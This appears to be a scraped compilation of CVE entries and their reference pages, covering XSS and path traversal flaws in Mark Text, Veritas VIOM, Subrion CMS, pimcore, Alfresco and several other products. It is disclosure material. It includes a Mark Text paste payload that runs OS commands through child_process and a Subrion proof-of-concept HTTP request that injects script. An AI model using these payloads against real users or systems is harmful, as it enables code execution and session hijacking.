The Ditty (formerly Ditty News Ticker) WordPress plugin before 3.0.15 is affected by a Reflected Cross-Site Scripting (XSS) vulnerability.

CVE-2022-0533: Changeset 2675223 for ditty-news-ticker – WordPress Plugin Repository

Mark Text v0.16.3 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability which allows attackers to perform remote code execution (RCE) via injecting a crafted payload into /lib/contentState/pasteCtrl.js.

**Description**

An attacker can induce Mark Text users to copy the HTML code below to execute a Remote Code Execution attack via XSS.


<table\><tr\><img src onerror\="require('child\_process').exec('calc.exe')"\></tr\></table\>

<table\><tr\><img src onerror\="require('child\_process').exec('xdg-open .')"\></tr\></table\>

The above code is inserted into the Mark Text as a DOM through the source code below, and the remote code execution is performed by calling child\_process through the inline script.  

ContentState.prototype.checkCopyType \= function (html, text) {

let type \= 'normal'

if (!html && text) {

type \= 'copyAsMarkdown'

const match \= /^<(\[a-zA-Z\\d\-\]+)(?\=\\s|\>).\*?>\[\\s\\S\]+?<\\/(\[a-zA-Z\\d\-\]+)\>$/.exec(text.trim())

if (match && match\[1\]) {

const tag \= match\[1\]

if (tag \=== 'table' && match.length \=== 3 && match\[2\] \=== 'table') {

// Try to import a single table

const tmp \= document.createElement('table')

tmp.innerHTML \= text

if (tmp.childElementCount \=== 1) {

return 'htmlToMd'

}

}

// TODO: We could try to import HTML elements such as headings, text and lists to markdown for better UX.

type \= PARAGRAPH\_TYPES.find(type \=> type \=== tag) ? 'copyAsHtml' : type

}

}

return type

}

*   Can you reproduce the issue?

**Steps to reproduce**

1.  Copy the vulnerable HTML code
    *   `<table><tr><img src onerror="require('child_process').exec('calc.exe')"></tr></table>`
2.  Paste it into Mark Text app

**Expected behavior:**

HTML should be sanitized before pasted into DOM.

**Actual behavior:**

No HTML sanitize procedure. Only checks if it's wrapped with `<table>` or not.

**Link to an example: \[optional\]**

bandicam.2022-02-08.01-33-25-900-cut.mp4 bandicam.2022-02-08.01-33-25-900.mp4**Versions**

*   MarkText version: `v0.16.3`
*   Operating system:  
    Windows 11 `Version 21H2 - OS Build 22000.469`  
    Kali Linux `Kali GNU/Linux Rolling 2021.4`

CVE-2022-25069: Security issue: DOM based XSS & RCE - from pasting vulnerable HTML · Issue #2990 · marktext/marktext

An issue was discovered in Veritas InfoScale Operations Manager (VIOM) before 7.4.2 Patch 600 and 8.x before 8.0.0 Patch 100. The web server fails to sanitize admin/cgi-bin/rulemgr.pl/getfile/ input data, allowing a remote authenticated administrator to read arbitrary files on the system via Directory Traversal. By manipulating the resource name in GET requests referring to files with absolute paths, it is possible to access arbitrary files stored on the filesystem, including application source code, configuration files, and critical system files.

**Revision History**

*   1.0: February 28, 2022: Initial version

**Summary**

As part of a privately reported vulnerability, Veritas has discovered security vulnerabilities with Veritas InfoScale Operations Manager (VIOM) as described below.

Issue

Description

Severity

Fixed Versions

1

Improper Neutralization of Input During Web Page Generation (‘Reflected Cross-site Scripting')

Medium

7.4.2, 8.0

2

Absolute Path Traversal

Medium

7.4.2, 8.0

**Issue #1**

A reflected cross-site scripting (XSS) vulnerability allows a malicious VIOM user to inject malicious script into another user’s browser. (CWE-79)

*   CVE ID: To be announced
*   Severity: Medium
*   CVSS v3.1 Base Score 4.8 (AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)

**Summary**  
Cross-site scripting Reflected (XSS) vulnerability affects the Veritas Operations Manager application, which allows authenticated remote attackers to inject arbitrary web script or HTML into HTTP/GET parameter which reflect the user input without sanitization.  
The Veritas Operations Manager web application does not properly check parameters sent via GET methods which are included in the server response.

**Prerequisites**  
It is required to have access to the web application as a user with administrative/root role.

**Affected Endpoints**  

*   http://hostname:5634/admin/cgi-bin/listdir.pl

**Security Impact**  
By exploiting this vulnerability it is possible to conduct phishing attacks against users of the Veritas Operations Manager web application.

**Affected Versions**  
Veritas InfoScale Operations Manager (VIOM) Management Server and Managed Hosts/Agents 8.0, 7.4.2, 7.4, 7.3.1, 7.3, 7.2, 7.1, 7.0. Earlier unsupported versions may be affected as well.

**Issue #2**

An absolute path traversal vulnerability allows a user to gain unauthorized access to resources on the server (CWE-36).

*   CVE ID: To be announced
*   Severity: Medium
*   CVSS v3.1 Base Score 4.9 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)

**Summary**  
The web server fails to sanitize the input data allowing a remote authenticated attacker to read arbitrary files on the system. By manipulating the resource name in the GET requests referring to files with absolute paths, it is possible to access arbitrary files stored on the filesystem, including application source code, configuration files and critical system files.

**Prerequisites**  
It is required to have access to the web application as a user with administrative/root role.

**Affected Endpoints**  

*   http://hostname:5634/admin/cgi-bin/rulemgr.pl/getfile/

**Security Impact**  
By exploiting this vulnerability on the web server it was possible to read any file on the filesystem, being the web application running with the privileges of the root user.

**Affected Versions**  
Veritas InfoScale Operations Manager (VIOM) Management Server and Managed Hosts/Agents 8.0, 7.4.2, 7.4, 7.3.1, 7.3, 7.2, 7.1, 7.0. Earlier unsupported versions may be affected as well

**Acknowledgement**

Veritas would like to thank Luca Carbone, Antonio Papa, Vincenzo Nigro, and Massimiliano Brolli with TIM Security Red Team Research for notifying us of these vulnerabilities.

**Disclaimer**

THE SECURITY ADVISORY IS PROVIDED "AS IS" AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD TO BE LEGALLY INVALID. VERITAS TECHNOLOGIES LLC SHALL NOT BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH THE FURNISHING, PERFORMANCE, OR USE OF THIS DOCUMENTATION. THE INFORMATION CONTAINED IN THIS DOCUMENTATION IS SUBJECT TO CHANGE WITHOUT NOTICE.

Veritas Technologies LLC  
2625 Augustine Drive  
Santa Clara, CA 95054

CVE-2022-26484: InfoScale VIOM Security Advisory | Veritas™

Unauthenticated cross-site scripting (XSS) in Netgear WAC120 AC Access Point may lead to mulitple attacks like session hijacking even clipboard hijacking.

Drive

Logga in

Drive

Namn

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

Credits & Info.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

exploitation\_html.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

exploitation\_HTTP.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

PoC.png

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

CVE-2021-46382: Netgear – Google Drive

Chained Cross Site Request Forgery (CSRF) with Reflected Cross Site Scripting (XSS) vulnerability in WAGO 750-8212 PFC200 G2 2ETH RS leads to session hijacking.

Drive

Logga in

Drive

Namn

![](https://drive-thirdparty.googleusercontent.com/128/type/text/html)

![HTML](https://drive-thirdparty.googleusercontent.com/16/type/text/html)

poc.html

![](https://drive-thirdparty.googleusercontent.com/128/type/video/mp4)

![Video](https://drive-thirdparty.googleusercontent.com/16/type/video/mp4)

POC.mp4

![](https://ssl.gstatic.com/docs/doclist/images/empty_state_empty_folder.png)

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

CVE-2021-46380: wago_poc – Google Drive

Cross Site Scripting (XSS) vulnerability exists in Alfresco Alfresco Community Edition v5.2.0 via the action parameter in the alfresco/s/admin/admin-nodebrowser API. Fixed in v6.2

**Alfresco » Alfresco : Security Vulnerabilities (Cross Site Scripting (XSS))**

#

CVE ID

CWE ID

\# of Exploits

Vulnerability Type(s)

Publish Date

Update Date

Score

Gained Access Level

Access

Complexity

Authentication

Conf.

Integ.

Avail.

1

CVE-2020-8778

79

XSS

2020-03-02

2020-03-03

3.5

None

Remote

Medium

???

None

Partial

None

Alfresco Enterprise before 5.2.7 and Alfresco Community before 6.2.0 (rb65251d6-b368) has XSS via an uploaded document, when the attacker has write access to a project.

2

CVE-2020-8777

79

XSS

2020-03-02

2020-03-03

3.5

None

Remote

Medium

???

None

Partial

None

Alfresco Enterprise before 5.2.7 and Alfresco Community before 6.2.0 (rb65251d6-b368) has XSS via a user profile photo, as demonstrated by a SCRIPT element in an SVG document.

3

CVE-2020-8776

79

XSS

2020-03-02

2020-03-03

3.5

None

Remote

Medium

???

None

Partial

None

Alfresco Enterprise before 5.2.7 and Alfresco Community before 6.2.0 (rb65251d6-b368) has XSS via the URL property of a file.

4

CVE-2019-19496

79

XSS

2019-12-02

2019-12-11

3.5

None

Remote

Medium

???

None

Partial

None

Alfresco Enterprise before 5.2.5 allows stored XSS via an uploaded HTML document.

5

CVE-2014-2939

79

XSS

2014-06-02

2014-06-03

4.3

None

Remote

Medium

Not required

None

Partial

None

Multiple cross-site scripting (XSS) vulnerabilities in Alfresco Enterprise before 4.1.6.13 allow remote attackers to inject arbitrary web script or HTML via (1) an XHTML document, (2) a <% tag, or (3) the taskId parameter to share/page/task-edit.

Total number of vulnerabilities : **5**   Page : 1 (This Page)

CVE-2020-18327: Alfresco Alfresco : List of security vulnerabilities

Multilple Cross Site Scripting (XSS) vulnerability exists in Intelliants Subrion CMS v4.2.1 in the Configuration panel.

**Multilple Cross Site Scripting (XSS) vulnerability exists in Intelliants Subrion CMS v4.2.1 in the Configuration panel.****Description**

Subrion CMS is easy to install and simple to manage. Use it as a stand-alone application or in conjunction with other applications to create entry level sites, mid-sized or large sites.

Multiple Reflected Cross-site Scripting vulnerabilities were discovered in the Subrion CMS v.4.2.1 configuration panel, allowing a remote attacker to inject arbitrary JavaScript.

**Date**: 27-02-2022  
**Software Link:** https://subrion.org  
**Exploit Author**: HaMM0nz  
**CVE**: CVE-2020-18325  
**Category:** Web Application  
**Affected URL**

*   /panel/configuration/pictures/
*   /panel/configuration/mail/
*   /panel/configuration/miscellaneous/
*   /panel/menus/add/

**Proof of Concept**

POST /panel/configuration/pictures/ HTTP/1.1  
Host: 172.16.63.129  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,_/_;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://172.16.63.129/panel/configuration/pictures/  
Content-Type: multipart/form-data; boundary=---------------------------17647740521660843247800008623  
Content-Length: 5605  
Connection: close  
Cookie: INTELLI\_7da515443a=2hen33trbsgsadue2rgcti4sr1; loader=loaded  
Upgrade-Insecure-Requests: 1

\-----------------------------17647740521660843247800008623  
Content-Disposition: form-data; name="\_\_st"

t9eQz0wrvfrlVO1rNDO9ZbPOB3mDmkNw8k17yS6f  
\-----------------------------17647740521660843247800008623  
Content-Disposition: form-data; name="c\[image\_quality\]"

1  
\-----------------------------17647740521660843247800008623  
Content-Disposition: form-data; name="v\[image\_quality\]"

75  
\-----------------------------17647740521660843247800008623  
Content-Disposition: form-data; name="c\[allow\_animated\_gifs\]"  
1  
\-----------------------------17647740521660843247800008623  
Content-Disposition: form-data; name="v\[allow\_animated\_gifs\]"  
0  
\-----------------------------17647740521660843247800008623  
Content-Disposition: form-data; name="v\[allow\_animated\_gifs\]"  
test"><script>alert(1)</script>1qazx

**Timeline**

**Discovery and report** : 24 June 2019  
**CVE ID was assigned** : 11 Aug 2021  
**Public** : 27 February 2022

**Solution**

Consider complying to the OWASP's XSS prevention guidelines. (https://cheatsheetseries.owasp.org/cheatsheets/Cross\_Site\_Scripting\_Prevention\_Cheat\_Sheet.html)

CVE-2020-18325: GitHub - hamm0nz/CVE-2020-18325: Exploit PoC for CVE-2020-18325

Cross Site Scripting (XSS) vulnerability exists in Subrion CMS 4.2.1 via the q parameter in the Kickstart template.

CVE-2020-18324

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.3.3.

@@ -79,8 +79,8 @@ pimcore.document.pages.settings = Class.create(pimcore.document.settings\_abstrac

var updateSerpPreview \= function () {

  

var metaPanel \= this.layout.getComponent("metaDataPanel");

var title \= metaPanel.getComponent("title").getValue();

var description \= metaPanel.getComponent("description").getValue();

var title \= htmlspecialchars(metaPanel.getComponent("title").getValue());

var description \= htmlspecialchars(metaPanel.getComponent("description").getValue());

  

var truncate \= function( text, n ){

if (text.length <= n) { return text; }

Tag

#xss